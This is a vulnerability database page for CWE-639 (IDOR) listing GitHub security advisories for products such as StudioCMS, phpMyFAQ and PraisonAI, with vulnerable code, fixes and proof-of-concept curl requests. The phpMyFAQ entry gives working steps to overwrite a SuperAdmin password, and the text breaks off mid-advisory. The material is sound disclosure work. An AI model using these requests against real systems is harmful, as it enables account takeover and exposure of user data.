CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
3213 vulnerabilities reference this CWE, most recent first.
GHSA-XRVF-M29V-829X
Vulnerability from github – Published: 2023-07-06 21:15 – Updated: 2024-04-04 05:48An Authorization Bypass vulnerability was found in MB Connect Lines mbCONNECT24, mymbCONNECT24 and Helmholz' myREX24 and myREX24.virtual version <= 2.13.3. An authenticated remote user with low privileges can change the password of any user in the same account. This allows to take over the admin user and therefore fully compromise the account.
{
"affected": [],
"aliases": [
"CVE-2023-0985"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-06T11:15:09Z",
"severity": "HIGH"
},
"details": "An Authorization Bypass vulnerability was found in MB Connect Lines\u00a0mbCONNECT24, mymbCONNECT24 and Helmholz\u0027 myREX24 and myREX24.virtual version \u003c= 2.13.3.\u00a0An authenticated remote user with low privileges can change the password of any user in the same account. This allows to take over the admin user and therefore fully compromise the account.",
"id": "GHSA-xrvf-m29v-829x",
"modified": "2024-04-04T05:48:51Z",
"published": "2023-07-06T21:15:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0985"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2023-002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XV2W-X5XM-9J74
Vulnerability from github – Published: 2022-12-12 18:30 – Updated: 2022-12-15 00:30The Directorist WordPress plugin before 7.4.2.2 suffers from an IDOR vulnerability which an attacker can exploit to change the password of arbitrary users instead of his own.
{
"affected": [],
"aliases": [
"CVE-2022-3930"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-12T18:15:00Z",
"severity": "MODERATE"
},
"details": "The Directorist WordPress plugin before 7.4.2.2 suffers from an IDOR vulnerability which an attacker can exploit to change the password of arbitrary users instead of his own.",
"id": "GHSA-xv2w-x5xm-9j74",
"modified": "2022-12-15T00:30:16Z",
"published": "2022-12-12T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3930"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/8728d02a-51db-4447-a843-0264b6ceb413"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XV75-C298-2V8F
Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2024-04-04 02:55iked in OpenIKED, as used in OpenBSD through 6.7, allows authentication bypass because ca.c has the wrong logic for checking whether a public key matches.
{
"affected": [],
"aliases": [
"CVE-2020-16088"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-28T12:15:00Z",
"severity": "CRITICAL"
},
"details": "iked in OpenIKED, as used in OpenBSD through 6.7, allows authentication bypass because ca.c has the wrong logic for checking whether a public key matches.",
"id": "GHSA-xv75-c298-2v8f",
"modified": "2024-04-04T02:55:20Z",
"published": "2022-05-24T17:24:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16088"
},
{
"type": "WEB",
"url": "https://github.com/openbsd/src/commit/7afb2d41c6d373cf965285840b85c45011357115"
},
{
"type": "WEB",
"url": "https://ftp.openbsd.org/pub/OpenBSD/patches/6.7/common/014_iked.patch.sig"
},
{
"type": "WEB",
"url": "https://github.com/xcllnt/openiked/commits/master"
},
{
"type": "WEB",
"url": "https://www.openiked.org/security.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XV8M-JW66-QJXM
Vulnerability from github – Published: 2025-09-30 12:30 – Updated: 2025-10-08 18:30Insecure Direct Object Reference (IDOR) vulnerability in BOLD Workplanner in versions prior to 2.5.25 (4935b438f9b), consisting of a lack of adequate validation of user input, allowing an authenticated user to access to basic contract details using unauthorised internal identifiers.
{
"affected": [],
"aliases": [
"CVE-2025-41093"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-30T11:37:39Z",
"severity": "HIGH"
},
"details": "Insecure Direct Object Reference (IDOR) vulnerability in BOLD Workplanner in versions prior to 2.5.25 (4935b438f9b), consisting of a lack of adequate validation of user input, allowing an authenticated user to\u00a0access to\u00a0basic contract details using unauthorised internal identifiers.",
"id": "GHSA-xv8m-jw66-qjxm",
"modified": "2025-10-08T18:30:15Z",
"published": "2025-09-30T12:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41093"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/insecure-direct-object-reference-gps-bold-workplanner"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XVF4-CH4Q-2M24
Vulnerability from github – Published: 2026-03-16 16:37 – Updated: 2026-03-18 21:51Summary
The REST API getUsers endpoint in StudioCMS uses the attacker-controlled rank query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request rank=owner and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent getUser endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface.
Details
Vulnerable Code Path
File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1605-1647
.handle(
'getUsers',
Effect.fn(
function* ({ urlParams: { name, rank, username } }) {
if (!restAPIEnabled) {
return yield* new RestAPIError({ error: 'Endpoint not found' });
}
const [sdk, user] = yield* Effect.all([SDKCore, CurrentRestAPIUser]);
if (user.rank !== 'owner' && user.rank !== 'admin') {
return yield* new RestAPIError({ error: 'Unauthorized' });
}
const allUsers = yield* sdk.GET.users.all();
let data = allUsers.map(...);
if (rank !== 'owner') {
data = data.filter((user) => user.rank !== 'owner');
}
if (rank) {
data = data.filter((user) => user.rank === rank);
}
return data;
},
The rank variable in if (rank !== 'owner') is the request query parameter, not the caller's privilege level. An admin can therefore pass rank=owner, skip the owner-filtering branch, and then have the second if (rank) branch return only owner accounts.
Adjacent Endpoint Shows Intended Security Boundary
File: D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts, lines 1650-1710
const existingUserRankIndex = availablePermissionRanks.indexOf(existingUserRank);
const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);
if (loggedInUserRankIndex <= existingUserRankIndex) {
return yield* new RestAPIError({
error: 'Unauthorized to view user with higher rank',
});
}
getUser correctly blocks an admin from viewing an owner record. getUsers bypasses that boundary for bulk enumeration.
Sensitive Fields Returned
The getUsers response includes:
idemailnameusernamerank- timestamps and profile URL/avatar fields when present
This is enough to enumerate all owner accounts and target them for phishing, social engineering, or follow-on attacks against out-of-band workflows.
PoC
HTTP PoC
Use any admin-level REST API token:
curl -X GET 'http://localhost:4321/studiocms_api/rest/v1/secure/users?rank=owner' \
-H 'Authorization: Bearer <admin-api-token>'
Expected behavior:
- owner records should be excluded for admin callers, consistent with getUser
Actual behavior: - the response contains owner user objects, including email addresses and user IDs
Local Validation of the Exact Handler Logic
I validated the filtering logic locally with the same conditions used by getUsers and getUser.
Observed output:
{
"admin_getUsers_rank_owner": [
{
"email": "owner@example.test",
"id": "owner-1",
"name": "Site Owner",
"rank": "owner",
"username": "owner1"
}
],
"admin_getUser_owner": "Unauthorized to view user with higher rank"
}
This demonstrates the authorization mismatch clearly:
- bulk listing with rank=owner exposes owner records
- direct access to a single owner record is denied
Impact
- Owner Account Enumeration: Admin tokens can recover owner user IDs, usernames, display names, and email addresses.
- Authorization Boundary Bypass: The REST collection endpoint bypasses the stricter per-record rank check already implemented by
getUser. - Chaining Value: Exposed owner contact data can support phishing, account-targeting, and admin-to-owner pivot attempts in deployments that treat owner identities as higher-trust principals.
Recommended Fix
Apply rank filtering based on the caller's role, not on the request query parameter, and reuse the same privilege rule as getUser.
Example fix:
const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);
data = data.filter((candidate) => {
const candidateRankIndex = availablePermissionRanks.indexOf(candidate.rank);
return loggedInUserRankIndex > candidateRankIndex;
});
if (rank) {
data = data.filter((candidate) => candidate.rank === rank);
}
At minimum, replace:
if (rank !== 'owner') {
data = data.filter((user) => user.rank !== 'owner');
}
with a check tied to user.rank rather than the query parameter.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.3"
},
"package": {
"ecosystem": "npm",
"name": "studiocms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32638"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T16:37:42Z",
"nvd_published_at": "2026-03-18T21:16:26Z",
"severity": "LOW"
},
"details": "## Summary\n\nThe REST API `getUsers` endpoint in StudioCMS uses the attacker-controlled `rank` query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request `rank=owner` and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent `getUser` endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface.\n\n## Details\n\n### Vulnerable Code Path\n\nFile: `D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts`, lines 1605-1647\n\n```ts\n.handle(\n \u0027getUsers\u0027,\n Effect.fn(\n function* ({ urlParams: { name, rank, username } }) {\n if (!restAPIEnabled) {\n return yield* new RestAPIError({ error: \u0027Endpoint not found\u0027 });\n }\n const [sdk, user] = yield* Effect.all([SDKCore, CurrentRestAPIUser]);\n\n if (user.rank !== \u0027owner\u0027 \u0026\u0026 user.rank !== \u0027admin\u0027) {\n return yield* new RestAPIError({ error: \u0027Unauthorized\u0027 });\n }\n\n const allUsers = yield* sdk.GET.users.all();\n let data = allUsers.map(...);\n\n if (rank !== \u0027owner\u0027) {\n data = data.filter((user) =\u003e user.rank !== \u0027owner\u0027);\n }\n\n if (rank) {\n data = data.filter((user) =\u003e user.rank === rank);\n }\n\n return data;\n },\n```\n\nThe `rank` variable in `if (rank !== \u0027owner\u0027)` is the request query parameter, not the caller\u0027s privilege level. An admin can therefore pass `rank=owner`, skip the owner-filtering branch, and then have the second `if (rank)` branch return only owner accounts.\n\n### Adjacent Endpoint Shows Intended Security Boundary\n\nFile: `D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts`, lines 1650-1710\n\n```ts\nconst existingUserRankIndex = availablePermissionRanks.indexOf(existingUserRank);\nconst loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);\n\nif (loggedInUserRankIndex \u003c= existingUserRankIndex) {\n return yield* new RestAPIError({\n error: \u0027Unauthorized to view user with higher rank\u0027,\n });\n}\n```\n\n`getUser` correctly blocks an admin from viewing an owner record. `getUsers` bypasses that boundary for bulk enumeration.\n\n### Sensitive Fields Returned\n\nThe `getUsers` response includes:\n\n- `id`\n- `email`\n- `name`\n- `username`\n- `rank`\n- timestamps and profile URL/avatar fields when present\n\nThis is enough to enumerate all owner accounts and target them for phishing, social engineering, or follow-on attacks against out-of-band workflows.\n\n## PoC\n\n### HTTP PoC\n\nUse any admin-level REST API token:\n\n```bash\ncurl -X GET \u0027http://localhost:4321/studiocms_api/rest/v1/secure/users?rank=owner\u0027 \\\n -H \u0027Authorization: Bearer \u003cadmin-api-token\u003e\u0027\n```\n\nExpected behavior:\n- owner records should be excluded for admin callers, consistent with `getUser`\n\nActual behavior:\n- the response contains owner user objects, including email addresses and user IDs\n\n### Local Validation of the Exact Handler Logic\n\nI validated the filtering logic locally with the same conditions used by `getUsers` and `getUser`.\n\nObserved output:\n\n```json\n{\n \"admin_getUsers_rank_owner\": [\n {\n \"email\": \"owner@example.test\",\n \"id\": \"owner-1\",\n \"name\": \"Site Owner\",\n \"rank\": \"owner\",\n \"username\": \"owner1\"\n }\n ],\n \"admin_getUser_owner\": \"Unauthorized to view user with higher rank\"\n}\n```\n\nThis demonstrates the authorization mismatch clearly:\n- bulk listing with `rank=owner` exposes owner records\n- direct access to a single owner record is denied\n\n## Impact\n\n- **Owner Account Enumeration:** Admin tokens can recover owner user IDs, usernames, display names, and email addresses.\n- **Authorization Boundary Bypass:** The REST collection endpoint bypasses the stricter per-record rank check already implemented by `getUser`.\n- **Chaining Value:** Exposed owner contact data can support phishing, account-targeting, and admin-to-owner pivot attempts in deployments that treat owner identities as higher-trust principals.\n\n## Recommended Fix\n\nApply rank filtering based on the caller\u0027s role, not on the request query parameter, and reuse the same privilege rule as `getUser`.\n\nExample fix:\n\n```ts\nconst loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank);\n\ndata = data.filter((candidate) =\u003e {\n const candidateRankIndex = availablePermissionRanks.indexOf(candidate.rank);\n return loggedInUserRankIndex \u003e candidateRankIndex;\n});\n\nif (rank) {\n data = data.filter((candidate) =\u003e candidate.rank === rank);\n}\n```\n\nAt minimum, replace:\n\n```ts\nif (rank !== \u0027owner\u0027) {\n data = data.filter((user) =\u003e user.rank !== \u0027owner\u0027);\n}\n```\n\nwith a check tied to `user.rank` rather than the query parameter.",
"id": "GHSA-xvf4-ch4q-2m24",
"modified": "2026-03-18T21:51:20Z",
"published": "2026-03-16T16:37:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-xvf4-ch4q-2m24"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32638"
},
{
"type": "WEB",
"url": "https://github.com/withstudiocms/studiocms/commit/aebe8bcb3618bb07c6753e3f5c982c1fe6adea64"
},
{
"type": "PACKAGE",
"url": "https://github.com/withstudiocms/studiocms"
},
{
"type": "WEB",
"url": "https://github.com/withstudiocms/studiocms/releases/tag/studiocms@0.4.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "StudioCMS REST getUsers Exposes Owner Account Records to Admin Tokens"
}
GHSA-XVH8-9H96-57R8
Vulnerability from github – Published: 2026-01-12 15:30 – Updated: 2026-01-27 21:31IDOR vulnerability has been found in Viafirma Inbox v4.5.13 that allows any authenticated user without privileges in the application to list all users, access and modify their data. This allows the user's email addresses to be modified and, subsequently, using the password recovery functionality to access the application by impersonating any user, including those with administrative permissions.
{
"affected": [],
"aliases": [
"CVE-2025-41077"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-12T15:16:03Z",
"severity": "HIGH"
},
"details": "IDOR vulnerability has been found in Viafirma Inbox v4.5.13 that allows any authenticated user without privileges in the application to list all users, access and modify their data. This allows the user\u0027s email addresses to be modified and, subsequently, using the password recovery functionality to access the application by impersonating any user, including those with administrative permissions.",
"id": "GHSA-xvh8-9h96-57r8",
"modified": "2026-01-27T21:31:39Z",
"published": "2026-01-12T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41077"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-viafirma-products"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XVP4-PHQJ-CJR3
Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-05-28 14:19Summary
An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php Lines: 232-271 The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:
[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]
public function overwritePassword(Request $request): JsonResponse
{
$this->userHasUserPermission(); // Only checks if user has USER_EDIT permission
$currentUser = CurrentUser::getCurrentUser($this->configuration);
$data = json_decode($request->getContent());
$userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT); // User-controlled!
$csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);
$newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);
$retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);
if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {
return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);
}
// NO check that $userId belongs to a user the admin should manage
// NO check that target user has lower or equal privileges
// Can overwrite password for ANY user, including SuperAdmin (userId=1)
$currentUser->getUserById((int) $userId, allowBlockedUsers: true);
$authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));
if (hash_equals($newPassword, $retypedPassword)) {
if (!$currentUser->changePassword($newPassword)) {
return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);
}
$this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);
return $this->json(['success' => ...], Response::HTTP_OK);
}
}
Root Causes:
- No verification that the requesting admin has permission to modify the target user's password
- No check that the target user has equal or lower privilege level
- The userId is taken directly from the request body without authorization context
- No multi-factor confirmation for privilege-escalating password changes
PoC
Prerequisites: Authenticated admin session with USER_EDIT permission
Step 1 - Obtain Admin Session: Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).
Step 2 - Extract CSRF Token: CSRF token is embedded in admin pages:
curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'
Step 3 - Change SuperAdmin Password:
curl -X PUT -H "Content-Type: application/json" \
-b "PHPSESSID=admin_session" \
-d '{
"userId": 1,
"csrf": "admin_csrf_token_value",
"newPassword": "NewSuperAdminP@ss123!",
"passwordRepeat": "NewSuperAdminP@ss123!"
}' \
http://target/admin/api/user/overwrite-password
Response: {"success":"The password was successfully changed."}
Step 4 - Account Takeover: Attacker now has SuperAdmin credentials and full control of phpMyFAQ.
Who is Impacted:
- Organizations with multiple admin users where not all should have SuperAdmin access
- Any phpMyFAQ instance where privilege separation is configured
- Multi-tenant environments where users should only manage their own accounts
Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission
Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35671"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-269",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-20T15:46:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAn Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ\u0027s Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user\u0027s ID in the API request body.\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php\nLines: 232-271\nThe overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:\n#[Route(path: \u0027user/overwrite-password\u0027, name: \u0027admin.api.user.overwrite-password\u0027, methods: [\u0027PUT\u0027])]\n```php\npublic function overwritePassword(Request $request): JsonResponse\n{\n $this-\u003euserHasUserPermission(); // Only checks if user has USER_EDIT permission\n $currentUser = CurrentUser::getCurrentUser($this-\u003econfiguration);\n $data = json_decode($request-\u003egetContent());\n $userId = Filter::filterVar($data-\u003euserId, FILTER_VALIDATE_INT); // User-controlled!\n $csrfToken = Filter::filterVar($data-\u003ecsrf, FILTER_SANITIZE_SPECIAL_CHARS);\n $newPassword = Filter::filterVar($data-\u003enewPassword, FILTER_SANITIZE_SPECIAL_CHARS);\n $retypedPassword = Filter::filterVar($data-\u003epasswordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);\n if (!Token::getInstance($this-\u003esession)-\u003everifyToken(page: \u0027overwrite-password\u0027, requestToken: $csrfToken)) {\n return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_UNAUTHORIZED);\n }\n // NO check that $userId belongs to a user the admin should manage\n // NO check that target user has lower or equal privileges\n // Can overwrite password for ANY user, including SuperAdmin (userId=1)\n $currentUser-\u003egetUserById((int) $userId, allowBlockedUsers: true);\n $authSource-\u003egetEncryptionContainer($currentUser-\u003egetAuthData(key: \u0027encType\u0027));\n if (hash_equals($newPassword, $retypedPassword)) {\n if (!$currentUser-\u003echangePassword($newPassword)) {\n return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_BAD_REQUEST);\n }\n $this-\u003eadminLog-\u003elog($this-\u003ecurrentUser, AdminLogType::USER_CHANGE_PASSWORD-\u003evalue . \u0027:\u0027 . $userId);\n return $this-\u003ejson([\u0027success\u0027 =\u003e ...], Response::HTTP_OK);\n }\n}\n```\n\n### Root Causes:\n1. No verification that the requesting admin has permission to modify the target user\u0027s password\n2. No check that the target user has equal or lower privilege level\n3. The userId is taken directly from the request body without authorization context\n4. No multi-factor confirmation for privilege-escalating password changes\n\n\n### PoC\n\nPrerequisites: Authenticated admin session with USER_EDIT permission\n\nStep 1 - Obtain Admin Session:\nLog in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).\n\nStep 2 - Extract CSRF Token:\nCSRF token is embedded in admin pages:\n```bash\ncurl -sL -b \"PHPSESSID=admin_session\" http://target/admin/index.php | grep -oP \u0027pmf-csrf-token.*?value=\"\\K[^\"]+\u0027\n```\n\nStep 3 - Change SuperAdmin Password:\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n -b \"PHPSESSID=admin_session\" \\\n -d \u0027{\n \"userId\": 1,\n \"csrf\": \"admin_csrf_token_value\",\n \"newPassword\": \"NewSuperAdminP@ss123!\",\n \"passwordRepeat\": \"NewSuperAdminP@ss123!\"\n }\u0027 \\\n http://target/admin/api/user/overwrite-password\n```\n\nResponse: {\"success\":\"The password was successfully changed.\"}\n\nStep 4 - Account Takeover:\nAttacker now has SuperAdmin credentials and full control of phpMyFAQ.\n\n### Who is Impacted:\n- Organizations with multiple admin users where not all should have SuperAdmin access\n- Any phpMyFAQ instance where privilege separation is configured\n- Multi-tenant environments where users should only manage their own accounts\n\n#### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission\n#### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions",
"id": "GHSA-xvp4-phqj-cjr3",
"modified": "2026-05-28T14:19:40Z",
"published": "2026-05-20T15:46:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-xvp4-phqj-cjr3"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ: IDOR Account Takeover "
}
GHSA-XVRF-3569-2X76
Vulnerability from github – Published: 2024-04-24 12:30 – Updated: 2025-02-04 18:30Authorization Bypass Through User-Controlled Key vulnerability in Metagauss ProfileGrid.This issue affects ProfileGrid : from n/a through 5.7.9.
{
"affected": [],
"aliases": [
"CVE-2024-32772"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-24T11:15:47Z",
"severity": "MODERATE"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability in Metagauss ProfileGrid.This issue affects ProfileGrid : from n/a through 5.7.9.",
"id": "GHSA-xvrf-3569-2x76",
"modified": "2025-02-04T18:30:45Z",
"published": "2024-04-24T12:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32772"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/profilegrid-user-profiles-groups-and-communities/wordpress-profilegrid-plugin-5-7-9-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XWQ8-FRCG-77Q8
Vulnerability from github – Published: 2026-06-01 14:24 – Updated: 2026-06-01 14:24Summary
Type: Insecure Direct Object Reference. The issue CRUD endpoints (GET / PATCH / DELETE /workspaces/{workspace_id}/issues/{issue_id}) gate access on require_workspace_member(workspace_id) only, then resolve issue_id through IssueService.get(issue_id) which is a primary-key lookup with no workspace constraint. A user who is a member of any workspace W1 can read, modify, or delete issues that belong to a different workspace W2.
File: src/praisonai-platform/praisonai_platform/services/issue_service.py, lines 72-156; route handlers at src/praisonai-platform/praisonai_platform/api/routes/issues.py, lines 82-137.
Root cause: the route extracts workspace_id from the URL path, uses it solely for the membership gate, then calls IssueService.get(issue_id) / IssueService.update(issue_id, ...) / IssueService.delete(issue_id) without re-checking which workspace the issue actually belongs to. IssueService.get runs a single-key lookup; update and delete call self.get(issue_id) first and then mutate the returned row, inheriting the same gap. The MemberService in this same codebase uses a composite (workspace_id, user_id) key, proving the author knows the safe pattern; it was simply not applied to the issue, agent, project, comment, or label services.
Affected Code
File 1: src/praisonai-platform/praisonai_platform/services/issue_service.py, lines 72-75 and 97-156.
class IssueService:
...
async def get(self, issue_id: str) -> Optional[Issue]:
"""Get issue by ID."""
return await self._session.get(Issue, issue_id) # <-- BUG: no workspace_id predicate
async def update(
self,
issue_id: str,
title: Optional[str] = None,
...
) -> Optional[Issue]:
issue = await self.get(issue_id) # <-- inherits the same gap
if issue is None:
return None
...
return issue
async def delete(self, issue_id: str) -> bool:
issue = await self.get(issue_id) # <-- inherits the same gap
if issue is None:
return False
await self._session.delete(issue)
await self._session.flush()
return True
File 2: src/praisonai-platform/praisonai_platform/api/routes/issues.py, lines 82-137.
@router.get("/{issue_id}", response_model=IssueResponse)
async def get_issue(
workspace_id: str,
issue_id: str,
user: AuthIdentity = Depends(require_workspace_member), # only checks membership in workspace_id
session: AsyncSession = Depends(get_db),
):
svc = IssueService(session)
issue = await svc.get(issue_id) # <-- workspace_id never threaded through
if issue is None:
raise HTTPException(status_code=404, detail="Issue not found")
return IssueResponse.model_validate(issue)
@router.patch("/{issue_id}", response_model=IssueResponse)
async def update_issue(
workspace_id: str,
issue_id: str,
body: IssueUpdate,
user: AuthIdentity = Depends(require_workspace_member),
session: AsyncSession = Depends(get_db),
):
svc = IssueService(session)
issue = await svc.update( # <-- writes to any issue in the DB
issue_id, title=body.title, description=body.description,
status=body.status, priority=body.priority,
assignee_type=body.assignee_type, assignee_id=body.assignee_id,
project_id=body.project_id,
)
...
delete_issue (lines 127-137) repeats the pattern.
Why it's wrong: workspace_id from the route is used solely as a membership predicate ("are you in some workspace W?"), never as a resource-ownership predicate ("is the issue you are addressing actually inside W?"). The standard FastAPI/SQLAlchemy fix is to make the resource-lookup query include the workspace constraint and treat absence as 404, so a foreign-workspace issue is indistinguishable from a non-existent one. The update_issue handler additionally allows the attacker to overwrite project_id, which can re-assign the foreign issue to an unrelated project the attacker also does not own — escalating the scope of the write primitive.
Exploit Chain
- Attacker registers a workspace
